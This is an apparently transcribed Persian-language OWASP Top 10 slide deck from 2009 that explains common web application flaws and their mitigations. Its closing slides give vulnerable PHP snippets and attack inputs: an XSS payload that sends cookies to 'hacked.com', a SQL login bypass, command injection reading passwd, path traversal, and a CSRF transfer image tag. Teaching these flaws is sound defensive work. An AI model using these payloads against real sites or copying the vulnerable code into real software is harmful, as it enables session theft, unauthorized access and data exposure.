owasp top 10 persian (security of web applications)

32
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP http://www.owasp.org وباﻓﺰارﻫﺎی ﻧﺮم اﻣﻨﯿﺖ ﻧﺎدری ﻋﺒﺎسAbbas Naderi (aka AbiusX) اﻧﻔﻮرﻣﺎﺗﯿ اﻋﺘﺒﺎران[email protected] [email protected] 10/1/2009 ١٣٨٨/٧/٩ ﻋﺼﺮ اﻣﺎم ﻣﻘﺪس ﭘﯿﺸﮕﺎه ﺑﻪ ﺗﻘﺪﯾﻢ) ﻋﺞ(

Upload: abbas-naderi

Post on 01-Dec-2014

947 views

Category:

Technology


11 download

DESCRIPTION

This document covers OWASP top 10 (which are 10 most common web security flaws) in Persian and provides examples and how to mitigate them for each.

TRANSCRIPT

Page 1: OWASP Top 10 Persian (Security of Web Applications)

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP

http://www.owasp.org

امنیت نرم افزارهای وب

عباس نادریAbbas Naderi (aka AbiusX) اعتباران انفورماتی [email protected] [email protected]

10/1/2009 ١٣٨٨/٧/٩

)عج(تقدیم به پیشگاه مقدس امام عصر

Page 2: OWASP Top 10 Persian (Security of Web Applications)

امنیت دنیای وب سهل انگاری در اوج اهمیت

Page 3: OWASP Top 10 Persian (Security of Web Applications)

OWASP TOP 10

Cross Site Scripting (XSS) Injection Flaws Insecure Remote File Include Insecure Direct Object Reference Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communications

Failure to Restrict URL Access

خطر اصلی ١٠

Page 4: OWASP Top 10 Persian (Security of Web Applications)

1.Cross Site Scripting (XSS) اس ریپت نویس مابین سایت

پذیرند آسیب سایتها ٪٢٠ از بیش • است مش ل غایت به آن با مقابله • شوند م کشف فراوان جدید روشهای هرروزه • دارند سخت هایی کاربران برای معمول جای زین های • شوند منتشر کرم صورت به م توانند •

Page 5: OWASP Top 10 Persian (Security of Web Applications)

1. Cross Site Scripting (XSS) :روشهای مقابله

کتابخانه های بسیار پیچیده، سنگین و کند• مصون نیستند ٪١٠٠کتابخانه ها نیز • تحریم امان استفاده از قالب بندی• (BBCode) استفاده از سیستم های جایزین• همام با دنیای امنیت اطالعات•

Page 6: OWASP Top 10 Persian (Security of Web Applications)

•2. Injection Flaws تزریقات

آسیب پذیر سایتها ٪١۵ حدود • است ساده آن اعمال و محل بسیار آسیب پذیری • م گیرد انجام کور و آگاهانه دسته دو در • سایت ها به رسوخ و شدن ه دلیل معمول ترین • بی خبرند توسعه دهندگان بسیار، معروف عالرقم • م گیرد انجام ناقص معموال آن با مقابله • است آسان بسیار مقابله کاف ، شناخت صورت در •

Page 7: OWASP Top 10 Persian (Security of Web Applications)

2. Injection Flaws :روشهای مقابله

استفاده از واسط های امن برای دستورات پویا• SQL برای PreparedStatements استفاده از• به عنوان تنها راه Escaping عدم استفاده از• بررس ورودی• بررس لیست سفیدی ورود ی ها•

Page 8: OWASP Top 10 Persian (Security of Web Applications)

3. Insecure Remote File Include تزریق کد مخرب

کار روش از آگاه به احتیاج • نم شود رعایت توسعه دهندگان توسط معموال • رف قابل بستری تنظیمات توسط • کشف و وجود صورت در خطرناک و مخرب بسیار بسیار • سیستم شدن متوجه بدون حمالت انواع انجام ام ان •

Page 9: OWASP Top 10 Persian (Security of Web Applications)

3. Insecure Remote File Include

:روشهای مقابله عدم استفاده از کدفایل متغیر• بررس کامل و بسیار دقیق متغیر در آدرس کد• تبیین دقیق قوانین استفاده• تنظیمات سوی اجرا•

Page 10: OWASP Top 10 Persian (Security of Web Applications)

4. Insecure Direct Object Reference

ارائه اطالعات ناخواسته توسعه دهندگان آگاه عدم• جلوگیری و یافت پیچیدگ • پیچیده سیستم های در قطع پیش آمدن • نفوذگران برای کشف جهت دشوار و زمانگیر بسیار •

Page 11: OWASP Top 10 Persian (Security of Web Applications)

4. Insecure Direct Object Reference

:روشهای مقابله تعیین دقیق معماری سیستم و پیروی از آن• مشخص کردن الیه تعیین دسترس به همه چیز• پیاده سازی صحیح روشها و پیروی از معماری•

Page 12: OWASP Top 10 Persian (Security of Web Applications)

5.Cross Site Request Forgery (CSRF)

جعل درخواست بین سایت توسعه دهندگان علم عدم • توسعه دهندگان صحیح درک عدم • انجام قابل و ساده بسیار • نه یا باشد خطرناک و حساس غایت به م تواند • م شود برطرف سادگ به معمول کاربری • دارند خروج پردازش به احتیاج پیچیده موارد •

Page 13: OWASP Top 10 Persian (Security of Web Applications)

5.Cross Site Request Forgery (CSRF)

:روشهای مقابله برای فرآیندها GET عدم استفاده از••در کالینت و سرور نااتوماتی جفتگیری تصادف فرم ورود به سیستم مجدد در فرآیند حساس• XSS جلوگیری از•

Page 14: OWASP Top 10 Persian (Security of Web Applications)

6. Information Leakage and Improper Error Handling نشت اطالعات و نقص مدیریت خطا

نفوذ انواع اول قدم • پذیرند آسیب سیستم ها تمام تقریبا • نم شود گرفته درنظر معموال آن اهمیت • SQL یا Stack Trace با سیستم از کامل نسبتا آگاه • ناکارآمد اتوماتی مقابله روش های • هزینه بر و کند بسیار دست مقابله روش های •

Page 15: OWASP Top 10 Persian (Security of Web Applications)

6. Information Leakage and Improper Error Handling

:روشهای مقابله•عدم ارائه خطا و ارور در سیستم عملیات تهیه گزارش کامل از همه عملردهای سیستم• SMS تماس با مدیر و امنیت از طریق ای میل یا• بررس دقیق و تست کامل محصول قبل از ارائه• استفاده از سیستم های اتوماتی و تنظیم سو•

Page 16: OWASP Top 10 Persian (Security of Web Applications)

7. Broken Authentication and Session Management

احراز هویت و مدیریت نشست ناکارا زننده آسیب و بد بسیار • فراوان و دائم بازنگری به احتیاج • غیراستاندارد هویت احراز روش های در نقص • بزرگ سیستم های در حساس و دشوار پیاده سازی •

Page 17: OWASP Top 10 Persian (Security of Web Applications)

7. Broken Authentication and Session Management

:روشهای مقابله استفاده از ی محور احرازهویت• ایجاد نشست های مستقل پس از احراز هویت• خروج از سیستم کارا و تخلیه اطالعات• عدم ارائه اطالعات نشست و حساس• استفاده از سیستم های بالغ• تست و بررس کد به صورت کامل•

Page 18: OWASP Top 10 Persian (Security of Web Applications)

8. Insecure Cryptographic Storage

استفاده نادرست از رمزنگاری خطرناک و معمول بسیار • ندارند رمزنگاری دانش آنها تیم و توسعه دهندگان اکثر • ناصحیح رمزنگاری بر کامل تکیه • دارند کاف رمزنگاری دانش معدودی نفوذگران ••

Page 19: OWASP Top 10 Persian (Security of Web Applications)

8. Insecure Cryptographic Storage

:روشهای مقابله )تست پاسخو نیست(بررس کد ••وریتم های دستعدم استفاده از ال آموزش استفاده صحیح از الوریتم های قدرتمند• )MD5 مانند(عدم استفاده از الوریتم های منسوخ • Hard Coding عدم استفاده از•

Page 20: OWASP Top 10 Persian (Security of Web Applications)

9. Insecure Communications

ارتباطات ناامن اعتبار کسب جهت اعتبار صرف به احتیاج و هزینه بر • )نامطلوب( کالینت ها و سرورها روی بر بیشتر بار • مسئله عمق از صحیح درک عدم • سرور بر دشوار راه اندازی • کالینت در دشوار آموزش •

Page 21: OWASP Top 10 Persian (Security of Web Applications)

9. Insecure Communications

:روشهای مقابله در تمام ارتباطات هویت دار SSL استفاده از• در تمام فرآیندهای حساس SSL استفاده از• SSL استفاده از گواهینامه معتبر• TLS یا ٣نسخه ،SSLاستفاده از نسخه معتبر•منطق عدم ارائه اطالعات حساس در ارتباط ناامن •

توسط برنامه کنترل شود

Page 22: OWASP Top 10 Persian (Security of Web Applications)

10. Failure to Restrict URL Access

ناتوان در محدود کردن دسترس Security by Obscurity غلط متدولوژی • محوری دسترس کنترل از استفاده عدم • )کالینت روی بر مثال( ناصحیح دسترس کنترل • استاندارد روش های از استفاده و پیاده سازی دشواری •

Page 23: OWASP Top 10 Persian (Security of Web Applications)

10. Failure to Restrict URL Access

:روشهای مقابله (RBAC ) استفاده از روشهای استاندارد و کارا••انیزم کنترل دسترسم اعمال اتوماتی بررس کد کامل و معماری کارآمد••عدم استفاده از آدرس های مخف

Page 24: OWASP Top 10 Persian (Security of Web Applications)

چند راه برد عمل !پیاده روی در اعماق باتالق

Page 25: OWASP Top 10 Persian (Security of Web Applications)

Cross Site Scripting (XSS)

echo $_REQUEST['userinput']; Reflect ed, St or ed and DOM types docoment.write('<form name='f1' action=''hacked.com''> <input name=''sessionID'' value='' '+document.cookie+' ''

/></form>'); document.forms.f1.submit();

Page 26: OWASP Top 10 Persian (Security of Web Applications)

SQL Injection

$sql = "SELECT * FROM table WHERE id = ' " . $_GET['id'] . " ' ";

Text fiel ds, Nu mb er Fi el ds! !! Server Code: $R=mysql_query(''SELECT * FROM users WHERE

Username='{$Username}' AND Password='{$Pass}' ''); if ($R) echo '' You logged in successfully! ''; Attack: username: foo password: 1' or '1'='1 Manipulated SQL: SELECT * FROM users WHERE

Username='1' AND Password='1' or '1'='1'

Page 27: OWASP Top 10 Persian (Security of Web Applications)

Command Injection Server Code: Exec (''mail ''.$UserData); UserData: '' hi; cat passwd; ''

لیست کلمات عبور به همراه متن نامه، به نفوذگر .ای میل م شوند

Page 28: OWASP Top 10 Persian (Security of Web Applications)

Malicious File Execute Include direname(__FILE__).''/request_handlers/''.$R; ...به صورت پویا درخواست کاربر را پاسخ م گوییم

User Request: ../../passwd

باعث م شود فایل رمزهای عبور به جای فایل کد .نمایش داده شود

Page 29: OWASP Top 10 Persian (Security of Web Applications)

Insecure Direct Object Reference

<select name="language"><option value="ir">Farsi</option></select>

... Include ($_GET['language']."lang.php"); ... <select name="language"><option

value="29871268398721">Farsi</option></select>

Use Salts to prevent Brute-Force!

Page 30: OWASP Top 10 Persian (Security of Web Applications)

Cross Site Request Forgery (CSRF)

<img src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct &toAcct=4345754&toSWIFTid=434343&amt=3434.43">

Page 31: OWASP Top 10 Persian (Security of Web Applications)

Insecure Cryptographic Storage

$pass=md5($_GET['pass']); // unsafe! www.passcracking.com

)٢(از الوریتم های صحیح ) ١(استفاده صحیح

$pass=hash( ''sha-512''

,$_GET['pass'].strtolower($_GET['user']));

Page 32: OWASP Top 10 Persian (Security of Web Applications)

سواالت، پیشنهادات؟ www.owasp.org : ع مناب